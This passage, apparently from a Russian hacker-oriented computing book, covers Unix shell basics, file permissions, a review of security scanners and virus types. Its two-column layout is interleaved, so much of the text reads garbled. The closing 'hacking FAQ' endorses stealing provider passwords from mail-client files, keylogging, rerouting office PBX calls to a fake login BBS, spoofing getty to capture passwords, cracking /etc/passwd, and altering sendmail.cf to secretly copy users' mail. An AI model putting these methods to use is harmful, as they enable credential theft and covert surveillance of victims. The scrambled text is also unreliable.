Глава 8: Петли Опции таковы:
● eq = (равно)
Итак, петли. Таких функций две: петли for и
петли repeat. ● ne <> (не равно)
Петли repeat выглядят так: ● gt > (больше)
repeat нечто нечто1 нечто2 ● lt < (меньше)
Эта функция выполняет повторение секции ● ge >= (больше или равно)
вашего скрипта для каждого «нечто». Если я ● le <= (меньше или равно)
напишу:

73 74
Система Unix Система Unix

Для строк это: В некоторых системах expr иногда


● = если равно распечатывает формулу. Хочу пояснить, что 22+12
вовсе не то же самое, что 22 + 12. Если вы
● != если не равно введете:
Если выражение верно, то функция expr 22+12
возвращает ноль. Смотрите: то увидите
test 3 eq 3 22+12
это означает проверку на верность А если введете:
выражения 3 = 3, и будет выведен ноль.
expr 22 + 12
то увидите:
Глава 10: EXPR 34
Применяется для числовых функций. Как
правило, вы не можете просто напечатать: Глава 11: Системные переменные
echo 4 + 5
Это переменные, используемые оболочкой,
и получить ответ. Вы должны написать: и они обычно задаются в системном файле .profile.
expr переменная [или число] оператор
переменная2 [или число] HOME
Операторы таковы: Расположение вашего home (домашнего)
раздела.
● + сложение
●  вычитание PS1
● * умножение Определяет, как выглядит подсказка в
командной строке. Обычно как $. В BSD это
● / деление
обычно &.
● ^ — степень (в некоторых системах)
Пример: PATH
expr 4 + 5 Путь поиска программ. Когда вы вводите
var = expr 4 + 5 имя программы для ее запуска, она находится не в
оперативной памяти, а на диске, и должна быть
var получит значение 9.
сперва оттуда загружена. В отличие от MSDOS

75 76
Система Unix Система Unix

большинство команд не находится в памяти. Если находятся в файле TERMCAP. Но не забивайте


программа указана в пути поиска, она может быть себе голову, просто установите свой дисплей на
запущена на исполнение независимо от того, в ansi или vt100, CURSES даст вам знать, если не
каком разделе вы находитесь, а если не указана, то сможет манипулировать эмуляцией вашего
вы должны запускать ее из раздела, где находится терминала.
сама программа. Путь — это по сути перечень
разделов, в котором имена разделов отделяются
двоеточиями. Вот типичный путь поиска:
Глава 12: Компилятор С
:/bin:/etc:/usr/lbin:$HOME: Тут я буду краток. Почему? Потому что если
Когда вы попытаетесь запустить программу хотите выучиться работать в С, то пойдите и
на выполнение, Unix станет ее искать в /bin, /etc, купите себе книгу. У меня нет времени писать еще
/usr, /lbin и вашем домашнем разделе, и, если не один текстовый файл про С, потому что он будет
найдет, выдаст сообщение об ошибке. Поиск по огромным. Большинство программ пишется на С.
разделам производится в том порядке, в каком они В Юниксе исходные коды программ обозначаются
перечислены. Поэтому если у вас в домашнем как имяфайла.с. Для запуска исходника на
разделе есть программа с именем «sh», и вы компиляцию дайте команду cc имяфайла.c. Не все
введете «sh», то даже если вы сделаете это из программы С станут компилироваться, потому что
домашнего раздела, Unix запустит на исполнение они могут зависеть от других файлов, которых нет
программу из раздела /bin. Поэтому пути следует на вашем диске, или же это не полные исходники,
задавать с умом. Юниксы публичного доступа а лишь модули. Если вы увидите нечто названное
делают это за вас, но в системе, где вы работаете, «makefile», то в таких случаях обычно достаточно
пути могут быть и не указаны. набрать «make» в командной строке, и это нечто
скомпилируется, или попытается
TERM скомпилироваться. Запуская «make» или «сс»,
Тип вашего терминала. Юникс имеет умные люди пользуются операндом работы в
библиотеку функций с именем «CURSES», фоновом режиме, потому что иногда компиляция
которая способна добиться максимума от длится безумно долго. Пример:
терминала любого типа — при условии, что $ cc login.c&
обнаружит соответствующие escкоды. Если вы [1234]
работаете с экранноориентированными $
программами, то должны установить какието (1234 — это номер процесса, под которым
параметры дисплея. Типы дисплеев и их escкоды он идентифицируется.)

77 78
Система Unix Система Unix

Глава 13: Файловая система ● /usr/sirhack/src


● /usr/scythian
Это инструментальная часть Unix. Если вы
не поймете этот раздел, вам никогда не удастся ● /usr/prophet
хакать Unix, потому что многие из приколов и Надеюсь, вы поняли эту главку. Все
штучек для «поднятия доступа» завязаны именно произрастает из корневого раздела.
на файловую систему.
Для начала поговорим о структуре разделов. Глава 14: Файловые допуски
По сути это иерархическая файловая система, то
есть она начинается в корневом разделе и далее Ну, наконецто добрались до действительно
ветвится, как в MSDOS и, возможно, в AmigaDos. серьезного. Файловые допуски. Что это такое,
Вот нечто вроде дерева разделов ((d) понять нетрудно, но я все равно объясню
обозначает раздел): подробно.
/ (корневой раздел) Итак, теперь вы должны мыслить
категориями «группы пользователей» и «имена
| пользователей». Каждый принадлежит к группе. В
|| командной строке вы можете после подсказки
bin (d) usr (d) (знака доллара) набрать «id» и посмотреть, к какой
группе вы принадлежите. Группы используются
^ для организации допуска пользователей к
| | | определенным вещам. Если бы их не было, то
sirhack(d) scythian (d) prophet (d) лишь один человек контролировал/имел допуск к
определенным файлам. Запомните также, что
|
Unix, определяя доступ, смотрит на UID
src (d) пользователя, а не на его имя.
Итак, эта конкретная система содержит Идем дальше. В файловых допусках нет
следующие разделы: ничего сложного. У каждого файла есть владелец
● / (owner). Обычно файлом владеет тот, кто его
создал — скопировав файл, или даже просто
● /bin
отредактировав его. Запомните, что владелец
● /usr файла должен быть тем, кто управляет CHOWN,
● /usr/sirhack поскольку он единственный, кто может изменить

79 80
Система Unix Система Unix

файловые допуски. Кроме того, есть еще и обнаружил datawiz, но он из группы


владелец группы — обычно это группа, в которой «пользователи». В таком случае групповые допуски
вы находились, когда файл был создан. Для смены на него не распространяются, поэтому он не
группы, к которой принадлежит файл, нужно может тронуть этот файл, верно? Вроде того. Есть
выполнить команду chgrp. третья категория допусков — для «другой» группы.
Далее. Файлы могут иметь допуски на Это означает, что допуски в «другой» группе
выполнение, чтение или запись. Если у вас есть распространяются на всех, кроме ее владельца, и
допуск на выполнение, то вы знаете, что вам на пользователей из той же группы, к какой
достаточно набрать имя программы в командной принадлежит файл. Взгляните на листинг раздела
строке, и она выполнится. Если у вас есть допуск вверху, и вы увидите строчку допусков
на чтение, то вы, очевидно, можете файл читать и rxrwxr
делать все, что связано с чтением — например, Первые три символа означают допуски для
копировать или печатать его. Но если у вас нет владельца (rx). (rx) переводится как «читать и
доступа на чтение файла, то вы не сможете выполнять разрешается, но записывать в файл
сделать ничего, что требует его прочтения. То же нельзя». Второй набор из трех символов
самое справедливо и для допуска на запись. Далее, rxRWXr
все допуски делятся на три группы. (тот, что заглавными буквами) есть
Первая — допуски владельца. Он может групповые допуски, и они означают «читать,
установить себе допуски на чтение и выполнение записывать и выполнять разрешается».
файла, но не на запись в него. Это не позволит
ему удалить такой файл. Вторая — групповые Третий набор,
допуски. Возьмем для примера такой раздел: rxrwxR
$ ls l runme есть допуски для всех прочих. Он означает
rxrwxr sirhack root 10990 March 21 runme «читать можно, но больше ничего».
Здесь «root» есть имя группы, в которой Листинг раздела будет выглядеть примерно
находится файл. «sirhack» — владелец файла. И так:
если у группы «root» есть допуски на чтение, $ ls l
запись и выполнение файла, то именно это они и drwxrxrx sirhack root 342 March 11 src
могут с ним делать. Скажем, на этот файл Раздел помечен буквой «d» в начале строки
наткнулся Scythian, а он принадлежит к группе допусков. Итак, владелец раздела (sirhack) может
пользователей «root». Тогда он может файл читать, читать из раздела, записывать в раздел, и
записывать в него, и выполнять. А потом файл выполнять программы из раздела. Корневая

81 82
Система Unix Защита сетей

группа и все прочие могут лишь читать из раздела Часть третья


и выполнять программы, находящиеся вне его.
Поэтому если я захочу сделать раздел только Защита сетей
выполняемым, то это будет выглядеть так:
$ chmod gor
$ ls
drwxxx sirhack root 342 March 11 src
Глава 1: Брандмауэры
Если теперь в раздел зайдет ктото кроме
«sirhack», то он сможет лишь выполнять Первое, что приходит в голову многим
находящиеся там программы. Если он запустит системным администраторам, когда они думают о
команду ls чтобы войти в раздел src, то, защите своих сетей от атак злоумышленников из
оказавшись внутри, увидит сообщение «cannot read Интернета, это слово «брандмауэр». Брандмауэры
directory» (не могу прочесть раздел). Если в (сетевые экраны) — неотъемлемая часть
разделе есть доступный для чтения файл, но сам инфраструктуры защиты сети, однако просто
раздел имеет запрет на чтение, то иногда всетаки установить брандмауэр и надеяться на
бывает возможно этот файл прочесть. лучшее — опасно и глупо. Если не выбрать
Если у вас нет допуска на выполнение в надлежащую конфигурацию серверов и не
какомто разделе, то в большинстве случаев вы не придерживаться сильной стратегии защиты, то
сможете запустить ни одной программы из этого шансы на успех у атакующих вашу сеть
раздела. значительно повышаются. Как уже неоднократно
писалось, большинство злоумышленников
нападает с внутренней стороны брандмауэра. Это
недовольные сотрудники фирмы или хакеры,
нашедшие лазейку в системе. По этой причине к
защите каждой сети нужно подходить очень
внимательно и не ограничиваться
предотвращением доступа из Интернета.
Еще одно опасное заблуждение заключается
в том, что серверы будто бы уже поставляются с
необходимыми средствами обеспечения
безопасности. Между тем, в защите каждой
сетевой операционной системы имеются

83 84
Защита сетей Защита сетей

многочисленные пробелы, и чтобы считать свой серверы с одинаковыми параметрами


сайт действительно защищенным, их необходимо конфигурации.
ликвидировать. Отсутствие строгой стратегии
обеспечения безопасности интрасети и серверов Испытательный стенд
Интернета может усугубить ситуацию. Чтобы Каждый продукт был проинсталлирован на
получить бессонницу, администратору сети сервере Compaq ProLiant 6000 с Windows NT Server
достаточно попытаться установить последние 4.0 (с Service Pack 3 и Option Pack 4). Он был
поправки к системе защиты сетевой ОС. Сделать оснащен двумя процессорами Pentium Pro 200
жизнь сотрудников, отвечающих за работу сети, МГц и ОЗУ емкостью 256 Мбайт. Целевыми
более спокойной помогут инструментальные серверами служили машины Dell Dimension XPS
средства сканирования сетевой и системной Pentium II 266 МГц с ОЗУ емкостью 32 Мбайт.
защиты в сочетании с хорошо спланированной Продукты тестировали под Windows NT Server 4.0
стратегией безопасности и ПО обнаружения с Service Pack 3 и Option Pack 4, а также под ОС
нарушителей. Эти продукты сканируют сетевые RedHat Linux 5.1 с Apache 1.3. При этом
серверы по заданному расписанию и использовались стандартные конфигурации
автоматически выводят отчеты, позволяя быстро каждого сервера, типичные для многих реальных
обнаружить ошибки в конфигурации, неправильно инсталляций.
инсталлированное (с точки зрения защиты)
серверное ПО и пробелы в защите Спецификации продуктов
(преднамеренные или нет), и принять Тестирующиеся продукты
необходимые меры.
Internet Scanner 5.2
Kane Security Analyst 4.04
Глава 2: Инструментальные средства
NetGuard
защиты
Серверные платформы
В лаборатории ZD Internet Lab были Windows NT 4.0
испытаны три инструментальных средства защиты
AIX
на базе Windows NT. Оценивали простоту их
инсталляции, возможности настройки HPUX
сканирующих подпрограмм и средства вывода Solaris
отчетов. Проводилось сопоставление этих
Linux
продуктов, сканируя одни и те же тестовые

85 86
Защита сетей Защита сетей

Windows NT 3.51 или более поздняя версия Наиболее распространенные «дыры» в


Novell NetWare 3.x/4.x защите и типы атак
Неверные конфигурации
Сканируемые платформы
Слабые ограничения доступа
Windows NT, 95;
Устаревшее программное обеспечение
Unix
Windows NT 3.51 или более поздняя версия Форматы отчетов
Novell NetWare 3.x/4.x Crystal Reports
Mac HTML
Crystal Reports
Поддерживаемые протоколы
TCP/IP Экспортируемые форматы
HTML
Типы проверки
ASCII
Windows NT
Победитель — Internet Scanner 5.2 Продукт
Вебсервер
ISS Internet Scanner 5.2 был выбран по многим
Брандмауэры причинам. Он оказался наиболее полным в плане
Отказ в обслуживании поиска проблем в системе защиты и предлагал
NSF наиболее исчерпывающие решения каждой
проблемы. Это ПО выявило все недостатки в
Атаки типа «грубой силы» защите, обнаруженные остальными двумя
Анонимный FTP продуктами, и дополнило их десятками других
RPPC найденных пробелов. Функциональные
возможности вывода отчетов в Internet Scanner 5.2
sendmail оказались просто феноменальными, а сами отчеты
Xwindows детальны и легко читаемы. Они предназначены не
NetBIOS только для технических специалистов. В сводных
отчетах для руководителя вопросы защиты сети
Полные проверки конфигурации
поясняются и становятся намного понятнее.
сетевой ОС
Сканирование сети в Internet Scanner 5.2
Пароли производится быстро и полно, а результаты можно

87 88
Защита сетей Защита сетей

использовать для генерации множества отчетов и, семейства продуктов SAFEsuite компании Internet
при необходимости, обращаться к оригинальным Security Systems. Кроме этого, SAFEsuite включает
данным. в себя компоненты выявления вторжения
RealSecure и инструмент для детального анализа
конфигураций серверов Unix System Security
Глава 3: Слабые места систем Scanner (S3). Разрабатывается версия S3 для
Существуют следующие, наиболее Windows NT. Internet Scanner функционирует в
распространенные, слабые места, характерные для сетях Windows NT 4.0, AIX, HPUX, Solaris и
многих сетевых операционных систем. Linux. Продукт может выявлять «дыры» в защите,
недостатки в конфигурации Windows NT Server и
● Слабая защита по паролю.
Workstation, машин Windows 95 и серверов Unix.
● Доступ через анонимный FTP.
Все проверки системы и сканирование
● Неиндексированные каталоги WWW. выполняются через TCP/IP в локальной сети.
● Разрешенная функция Finger. Установить ПО Internet Scanner нетрудно. Для
этого необходимо загрузить самую последнюю его
● Разрешенные банеры Telnet/sendmail.
версию с вебузла ISS и выполнить процесс
● Разрешенная учетная запись Guest. инсталляции. После установки ПО на сервере
● Неправильная конфигурация RPC. Windows NT потребуется только скопировать файл

ключа ISS в каталог Internet Scanner, после чего
Ошибки в IIS .bat и .cmd.
можно начинать сканирование. Сервер ключа ISS
● Уязвимость TFTP. передает лицензионный ключ по электронной
● Неверная конфигурация NFS. почте. Этот ключ определяет, какие именно
компоненты Internet Scanner будут доступны
Internet Scanner 5.2 пользователю. Таким образом, добавление
Internet Scanner 5.2 компании Internet функциональных возможностей (таких, как
Security Systems (Атланта) — самый давний из сканирование брандмауэра) представляет собой
протестированных продуктов оценки защиты, и простую и быструю онлайновую процедуру.
большой опыт положительно сказывается на его Пользовательский интерфейс Internet
работе. Производит впечатление простота Scanner выполнен очень качественно. «Мастер»
установки данной программы, превосходные создания сеанса значительно упрощает настройку
средства вывода отчетов и широкая поддержка и запуск процедуры сканирования. Основное окно
платформ. Internet Scanner — компонент защиты с вкладками спроектировано настолько ясно, что

89 90
Защита сетей Защита сетей

можно сразу легко загрузить несколько сеансов, сервера Windows NT или, если приобрести
ускорив тем самым процесс сканирования. расширенную лицензию, всего домена Windows
Выполнение поверхностного теста сканирования NT. В отличие от двух других протестированных
сервера Windows NT Server занимает у Internet продуктов, Kane Security Analyst предназначен
Scanner всего 21 секунду, после чего выводится только для сканирования серверов Windows NT и
страница с результатами — детальным списком Novell NetWare. Сканирования серверов Unix или
обнаруженных проблем и предлагаемых решений. машин Windows 95/98 он не выполняет. Загрузив
Средства вывода отчетов в Internet Scanner пакет Kane Security Analyst на сервере Windows NT
производят очень сильное впечатление. с инсталляционного диска CDROM, можно
Генерируемые в формате Crystal Reports или приступать к работе.
HTML, разнообразные готовые формы отчетов При первом запуске программы она
Internet Scanner должны удовлетворить требования выполнила поиск доменов и серверов сети
любого сетевого администратора. Если же Windows NT. Затем на экране появилось главное
потребуется создать свои собственные формы, то в окно. Пользовательский интерфейс Kane Security
Internet Scanner для них легко построить шаблоны. Analyst спроектирован удачно. Каждая из четырех
В технических отчетах об уязвимости системы кнопок в нижней части экрана выполняет один из
защиты перечислены проблемы, указаны машины, четырех шагов по оценке защиты системы:
на которые они влияют, предлагаются решения и устанавливает стандарт защиты, проверяет ее,
даже даются ссылки на места в Интернете, где анализирует степень риска и выводит отчет. Кроме
можно найти соответствующие поправки и того, предусмотрены кнопки быстрого вызова
корректировки. В отчетах для руководителей большинства функций Kane Security Analyst, таких,
суммируются характеристики защиты всей сети. как оценка на соответствие стандарту защиты C2
Internet Scanner 5.2 соединяет в себе превосходный (C2 Security Evaluation), вывод на экран карты
пользовательский интерфейс, сильные средства отчета и т.д.
создания сеансов и большое число стандартных ПО Kane Security Analyst не предусматривает
отчетов. поверхностного, среднего и углубленного
сканирования, как Internet Scanner и NetGuard.
Kane Security Analyst 4.04
Программа поставляется с одним заданным по
Продукт Kane Security Analyst компании умолчанию шаблоном сканирования, именуемым
Security Dynamics Technologies входит в семейство Best Default Practices. Этот шаблон сравнивает
инструментов защиты SecurSight. Kane Security защиту вашего сервера с практикуемыми в отрасли
Analyst может оценивать защиту автономного методами защиты. Естественно, можно создать и

91 92
Защита сетей Вирусы

собственный шаблон, отвечающий специальным Часть четвертая


требованиям. Скорость сканирования производит
благоприятное впечатление. Анализ всей системы, Вирусы
включая тест раскрытия пароля, потребовал менее
30 секунд, после чего будет представлена «карта
отчета» со списком выполненных тестов и
оценкой для сервера. После завершения
сканирования можно получить набор детальных Глава 1: Определение
отчетов (в формате Crystal Reports). Выбрав отчет Что он из себя представляет, что может–не
(или все отчеты), его нетрудно сгенерировать, может, откуда он взялся, кто его написал и зачем?
распечатать или сохранить в файле (в разных Чрезвычайно много вопросов возникает при
форматах), однако Kane Security Analyst не размышлении на тему вирусов.
предлагает средств вывода отчетов
непосредственно в формате HTML. Для начала хотелось бы определить понятие
вируса: вирус — это программа или кодовый
В целом Kane Security Analyst можно считать сегмент, который при получении управления
превосходным инструментальным средством для стремится выполнить скрытое самокопирование в
сканирования серверов Windows, но в различные области выполняемых кодов других
неоднородной сетевой среде он не может программ, максимально защищается от
конкурировать с Internet Scanner 5.2. обнаружения и по истечении инкубационного периода
заявляет о себе тем или иным действием.
Хотя это определение ещё можно долго
дополнять и исправлять все же хотелось бы на нём
и остановиться, как на самом нейтральном. В
дальнейшем, вы сами определите для себя более
точное понятие вируса.
«Не так страшен черт как его
малюют» — эта поговорка полностью подходит и к
нашей теме. Из славного малого, самостоятельно
передвигающегося по нашим дискам, сделали
большого злобного монстра, наделив его
фантастическими способностями по уничтожению

93 94
Вирусы Вирусы

мониторов, модемов, сжиганию процессоров и т.п. пути проходят подавляющее большинство


В связи с этим любые программные поломки (не программистов).
дай бог какойнибудь файл станет испорченным ● злоба, всеядное ламерство или месть. Уж тут
или пропадет!) стало свойственно приписывать то вирусы пишутся на всю катушку,
вирусам. оснащенные боевыми действиями и
А ведь на самом деле диструктивные предназначаются обычно конкретным людям,
действия вируса, как правило, ограничиваются какой либо фирме или в качестве разминки
удалением или порчей информации. Хотя, всему миру.
конечно, существует возможность испортить вам Однако не все так страшно! Заражение
жесткий диск или посадить монитор, но действия вирусом как правило происходит при обмене
настолько явны, что вряд ли ктонибудь даст компьютерными играми либо софтом (например,
добро на их продолжение. на BBS). На данный момент игры достигли
С другой стороны диструкция не является ужасающих размеров и пишутся в основном на
обязательным выражением вируса, ибо в теорию компактдиски, куда вирусу попасть ну очень,
вируса заложено свойство распространения а не очень трудно. Программы... ну тут уж вирус
нанесения вреда. Так существует множество является карой божьей за использование
безобидных вирусов, где максимальная нелицензионного софта. Ибо при использовании
неприятность — это какой либо видео или оригинальных программ вероятность заразиться от
звуковой эффект. дистрибутива сводится к нулю. Всевозможное
На данный момент можно выдвинуть три freeware можно скачать, например, с
ситуации, побуждающие к написанию вируса: www.cdrom.com, www.windows95.com и прочих
серьезных сайтов, где о вирусах никто и не
● написание в качестве самоутверждения (А что слышал. Если же у вас нет возможности
здесь такого? И я могу). При этом использовать оригинальные программы (хмм… с
распространение вируса просто не нашей зарплатой покупать себе оригинал...), то уж
обязательно, ибо цель доказать себе, что тоже не поленитесь соблюдать элементарные правила
не чайник, уже достигнута. гигиены (как зубная щетка Dr.Web) для новых
● простая тяга к программированию. Вирус в невесть откуда взявшихся программ или китайских
данном случае является просто компьютерной дисков. На последних вирусы все таки
задачкой. Возможность распространения встречаются довольно часто.
здесь сводится к нулю. (Кстати, по данному

95 96
Вирусы Вирусы

Глава 2: Разновидности операционной системы к объектам заражения и


внедряется в них. Резидентные вирусы находятся в
● Загрузочные вирусы памяти и являются активными вплоть до
● Резидентные вирусы выключения или перезагрузки компьютера.
Нерезидентные вирусы не заражают память
● Файловые вирусы
компьютера и являются активными ограниченное
Вирусы можно разделить на классы по время. Некоторые вирусы оставляют в
следующим признакам: оперативной памяти небольшие резидентные
● по среде обитания вируса; программы, которые не распространяют вирус.
Такие вирусы считаются нерезидентными.
● по способу заражения среды обитания;
По деструктивным возможностям вирусы
● по деструктивным возможностям;
можно разделить на:
● по особенностям алгоритма вируса.
● безвредные, т.е. никак не влияющие на работу
По среде обитания вирусы можно разделить компьютера (кроме уменьшения свободной
на сетевые, файловые и загрузочные. Сетевые памяти на диске в результате своего
вирусы распространяются по компьютерной сети, распространения);
файловые внедряются в выполняемые файлы,
● неопасные, влияние которых ограничивается
загрузочные — в загрузочный сектор диска
уменьшением свободной памяти на диске и
(bootсектор) или в сектор, содержащий
графическими, звуковыми и пр. эффектами;
системный загрузчик винчестера (Master Boot
Record). Существуют сочетания — например, ● опасные вирусы, которые могут привести к
файловозагрузочные вирусы, заражающие как серьезным сбоям в работе компьютера;
файлы, так и загрузочные сектора дисков. Такие ● очень опасные, которые могут привести к
вирусы, как правило, имеют довольно сложный потере программ, уничтожить данные, стереть
алгоритм работы, часто применяют оригинальные необходимую для работы компьютера
методы проникновения в систему, используют информацию, записанную в системных
стелс и полиморфиктехнологии. областях памяти, и, как гласит одна из
Способы заражения делятся на резидентный компьютерных легенд, способствовать
и нерезидентный. Резидентный вирус при быстрому износу движущихся частей
инфицировании компьютера оставляет в механизмов — вводить в резонанс и
оперативной памяти свою резидентную часть, разрушать головки винчестера.
которая затем перехватывает обращение

97 98
Вирусы Вирусы

Но даже если в алгоритме вируса не так же как и компаньонвирусы, не изменяют


найдено ветвей, наносящих ущерб системе, этот файлы или сектора на дисках. Они
вирус нельзя с полной уверенностью назвать проникают в память компьютера из
безвредным, так как проникновение его в компьютерной сети, вычисляют сетевые
компьютер может вызвать непредсказуемые и адреса других компьютеров и рассылают по
порой катастрофические последствия. Ведь вирус, этим адресам свои копии. Такие вирусы
как и всякая программа, имеет ошибки, в иногда создают рабочие файлы на дисках
результате которых могут быть испорчены как системы, но могут вообще не обращаться к
файлы, так и сектора дисков (например, вполне ресурсам компьютера (за исключением
безобидный на первый взгляд вирус «DenZuk» оперативной памяти). К счастью, в
довольно корректно работает с 360K дискетами, вычислительных сетях IBMкомпьютеров
но может уничтожить информацию на дискетах такие вирусы пока не завелись.
большего объема). Возможно также ● «паразитические» — все вирусы, которые при
«заклинивание» резидентного вируса и системы распространении своих копий обязательно
при использовании новых версий DOS, при работе изменяют содержимое дисковых секторов или
в MS Windows или с другими мощными файлов. В эту группу относятся все вирусы,
программными системами. И так далее. которые не являются «червями» или
По особенностям алгоритма можно выделить «компаньон».
следующие группы вирусов: ● «студенческие» — крайне примитивные
● компаньонвирусы (companion) — это вирусы, вирусы, часто нерезидентные и содержащие
не изменяющие файлы. Алгоритм работы большое число ошибок;
этих вирусов состоит в том, что они создают ● «стелс»вирусы (вирусыневидимки, stealth),
для EXEфайлов файлыспутники, имеющие представляющие собой весьма совершенные
то же самое имя, но с расширением .COM, программы, которые перехватывают
например, для файла XCOPY.EXE создается обращения DOS к пораженным файлам или
файл XCOPY.COM. Вирус записывается в секторам дисков и «подставляют» вместо себя
COMфайл и никак не изменяет EXEфайл. незараженные участки информации. Кроме
При запуске такого файла DOS первым этого такие вирусы при обращении к файлам
обнаружит и выполнит COMфайл, т.е. вирус, используют достаточно оригинальные
который затем запустит и EXEфайл. алгоритмы, позволяющие «обманывать»
● вирусы«черви» (worm) — вирусы, которые резидентные антивирусные мониторы. Один
распространяются в компьютерной сети и, из первых «стелс»вирусов — вирус «Frodo»;

99 100
Вирусы Вирусы

● «полиморфик»вирусы (polymorphic) маскировки своего распространения некоторые


достаточно труднообнаруживаемые вирусы, вирусы перехватывают прерывание DOS,
не имеющие сигнатур, т.е. не содержащие ни возникающее при обращении к защищенному от
одного постоянного участка кода. В записи диску (INT 24h), и самостоятельно
большинстве случаев два образца одного и обрабатывают его. Поэтому к особенностям
того же полиморфиквируса не будут иметь алгоритма файлового вируса можно отнести и
ни одного совпадения. Это достигается наличие или отсутствие обработки:
шифрованием основного тела вируса и ● атрибута readonly;
модификациями программырасшифровщика.
● времени последней модификации файла;
Некоторые вирусы (например, вирусы
семейства «Eddie», «Murphy») используют ● прерывания 24h.
часть функций полноценного стелсвируса. К особенностям алгоритма вируса можно
Чаще всего они перехватывают функции DOS отнести и скорость его распространения. Скорость
FindFirst и FindNext (INT 21h, ah=11h, 12h, распространения файловых вирусов, заражающих
4Eh, 4Fh) и «уменьшают» размер зараженных файлы только при их запуске на выполнение,
файлов. Такой вирус невозможно определить будет ниже, чем у вирусов, заражающих файлы и
по изменению размеров файлов, если, при их открытии, переименовании, изменении
конечно, он резидентно находится в памяти. атрибутов файла и т.д. Некоторые вирусы
Программы, которые не используют («Eddie», «Murphy») при создании своей копии в
указанные функции DOS (например, оперативной памяти компьютера пытаются занять
«Нортоновские утилиты»), а напрямую область памяти с самыми старшими адресами,
используют содержимое секторов, хранящих разрушая временную часть командного
каталог, показывают правильную длину интерпретатора COMMAND.COM. По окончании
зараженных файлов. работы зараженной программы временная часть
При инфицировании файла вирус может интерпретатора восстанавливается, при этом
производить ряд действий, маскирующих и происходит открытие файла COMMAND.COM и,
ускоряющих его распространение. К подобным если вирус заражает файлы при их открытии, его
действиям можно отнести обработку атрибута заражение. Таким образом, при запуске подобного
readonly, снятие его перед заражением и вируса первым будет заражен файл
восстановление после. Многие файловые вирусы COMMAND.COM.
считывают дату последней модификации файла и
восстанавливают ее после заражения. Для

101 102
Вирусы Вирусы

Глава 3: Небольшой FAQ по взлому Если на машину пользователя отсутствует


доступ, к решению проблемы хакер подходит
Internet на российском уровне другим путем. Большая часть соединений
Под термином взлом Internet подразумевают приходится на телефонные линии. Практически в
несколько различных вещей. Вопеpвых: любом крупном офисе той или иной компании
незаконное подключение к пpовайдеpу и так имеется небольшая АТС. Для хакера
называемые «халявные» подключения. Как это перепрограммировать АТС так, чтобы звонки с
осуществляется? Самый простой данного номера перероучивались на себя не
вариант — воровство. Хакер крадет чужой пароль. составляет особого труда. Далее запускается
В наше время при огромном количестве недалеких терминальная программа BBS с заставкой
пользователей хакеру это дело не представляет провайдера. Естественно, пользователь покупается
особого труда, так как подавляющее большинство и вводит login и password. Далее выдается масса
пользователей пользуется таким популярным ошибок, а затем линия разрывается.
пакетом email как UUPC Чернова. А также А если хакер уже имеет login password! Что
некоторые провайдеры все еще предоставляют дальше делать?! Хотелось, имея пароль с
вход в систему как online так и offline под одним и минимальными пользовательскими привилегиями
тем же паролем. Хакеру остается самое получить их гораздо больше. А то до
простое — переписать файл init aka init1 с каталога бесконечности работать не будешь — все равно
\UUPC. Там будет прописан как login так и рано или поздно догадаются и пароль поменяют…
password. Hy вот, наконец мы подобрались к
Более сложные варианты взлома непосредственному взлому UNIX. Это радует. С
Internet — запуск на машине пользователя минимальными привилегиями получить статус
вирусной программы или резидентной, root — задача не одного дня. Ho начинать с
отслеживающей появление строчки «login:». Далее чегото надо.
в отдельный файл записываются все нажатия А начнем мы с того, что узнаем, с какой
клавиатуры. системой имеем дело. В настоящее время
Если пользователь использует Windows 95 и провайдеры висят на самых популярных UNIX`ах:
работает в Netscape, используя SLIP и PPP, то FreeBSD, BSDI, SCO open server, Linux.
хакер обращает внимание на скрипты команд и Некоторые, правда, используют такую экзотику
файл с расширением .pwl (пароль, как NexStep, UnixWare, Solaris, Aix, HPUX,
зашифрованный примитивным методом DES). VAXORX5.12. Встречаются уникумы, работающие
с Xenix. Ho несмотря на видимое обилие

103 104
Вирусы Вирусы

операционных систем, все они имеют практически в зашифрованном виде. И вместо пароля в лучшем
одинаковую систему защиты и идентификации случае можно увидеть абракадабру типа:
пользователей и их ресурсов, которые #@4OFIU`0346`e.
передавались по наследству от AT&T UNIX с 1971
года. Дас. Облом. А как можно ее
расшифровать?
Стандартные средства защиты в UNIX:
Этим, собственно, и занимаются программы
● защита через пароли типа jack, crackerjack, blob и множество подобных.
● защита файлов Успех напрямую зависит от данной операционной
● команды su, newgrp, at, prwarn, sadc, pt_chmod системы. Чтобы успешно расшифровать passwd,
необходимо, как минимум, иметь 2 пары логинов,
● шифрование данных паролей расшифрованных и зашифрованных.
Как реализована защита через пароли? Напустив на passwd от Linux 2.1.3 крякалку
Любой пользователь UNIX имеет свой паролей blob и имея 5 пар известных паролей, в
пароль, без которого он не может включиться в опытном варианте за 20 минут можно успешно
систему, писать/читать почту и т.д. Практически расшифровались все пароли.
во всех UNIX пароли находятся в /etc/passwd. А в чем же тогда проблема?
Этот файл содержит информацию о пользователе, Проблема даже не в том, что алгоритмы
его пароле и уровне привилегий. шифрования улучшаются с каждой новой версией
Можно ли дописать в этот файл системы, а в таких коммерческих UNIX как SCO
информацию о своем login passwd, уровне Open Server 5 имеются очень навороченные
привилегий? системы криптования. К примеру, SCO 3 с
Нет. Такое может делать только admin aka уровнем защиты от 1,2,3 сломалась в течении 3
root. У вас просто не будет привилегий на запись в часов перебора, 4,5 — гдето за четверо суток, 6
файл. Его можно только читать. так и не удалось поломать.
Ho что же мешает переписать/прочитать его В UNIX по команде who & whodo можно
и пользоваться чужими login`ами? узнать пользовательское имя и терминальную
линию, на которой user работает, написать
Прочитать можно. И с огорчением увидеть,
примитивную программу, которая перехватит ввод
что не все так в жизни просто. Да, там хранится
символов по этой линии связи, выдавая себя за
login пользователя. Ho сам пароль хранится только
getty, и в один прекрасный момент, напечатав
ложное приглашение, ввести пароль, получить его

105 106
Вирусы Вирусы

и сдублировать куданибудь. Хоть на соседний Есть программы, которые формируют его из


терминал, хоть на принтер или в файл. текстового файла. А если за основу словаря взять
Множество людей на UNIX узлах довольно личное дело usera — 89% что все пройдет на ypa.
ревностно охраняют систему от любителей халявы.
Ho, в большинстве случаев они очень халатно
относятся к вопросам безопасности email. Это, на
самом деле, до поры до времени. Имеется
несколько примеров, когда люди палились от
жадности — получали кратковременный доступ с
правами root, заводили кучу пользователей,
творили чудеса, словом. И заканчивалось это, как
правило, одинаково — вы поняли как. Даже
самый начинающий admin знает, что присутствие
юзера протоколируется в системе. Тем паче
заведение новых пользователей и
копирование/правка /etc/passwd aka /etc/shadow.
Ho! Невесть кто когда лазит смотреть
роутинг sendmail. Особенно в межузловом
траффике. Про это все как будто забывают. А
ничего не мешает переправить sendmail.cf с
дублированием всех личных писем некоторых
пользователей, в том числе и рута.
